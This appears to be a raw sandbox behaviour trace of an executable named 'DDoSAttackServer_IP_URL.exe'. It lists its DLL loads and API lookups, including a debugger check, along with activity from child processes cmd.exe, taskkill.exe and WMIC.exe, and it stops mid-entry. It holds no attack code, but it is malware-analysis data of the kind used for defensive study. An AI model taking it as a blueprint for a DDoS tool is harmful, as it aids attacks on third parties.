"DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\PresentationNative_v0400.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter PresentationNative_v0400.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter Advapi32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter User32 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\wpfgfx_v0400.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter wpfgfx_v0400.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter dxva2.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter DWMAPI.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\shcore.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter shcore.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\uxtheme.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatioaec034ca#\43ce8861681d2d6d58e86bbb7cc69e0f\PresentationFramework.Aero2.n (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\wtsapi32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\WtsApi32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter WtsApi32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\shell32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\msctf.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter msctf.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\imm32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationCore.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter UIAutomationCore.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\WindowsBase\v4.0_4.0.0.0__31bf3856ad364e35\urlmon.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter d3d10warp.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter evr.dll (UID: 00000000-00000944) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005988) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005988) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005988) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005988) "taskkill.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002624) "taskkill.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002624) "taskkill.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002624) "taskkill.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002624) "taskkill.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00002624) "taskkill.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003940) "taskkill.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003940) "taskkill.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003940) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006612) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006612) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006612) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006612) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007096) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007096) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007096)2f:Tdfeb,"DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter _calloc_base (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter PathAppendW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter PathCombineW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GdiEntry13 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetStockObjectW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegisterClassEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter RegisterClassExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetWindowLongWrapper (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetWindowLongWrapperW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "GetProcAddress" with a parameter 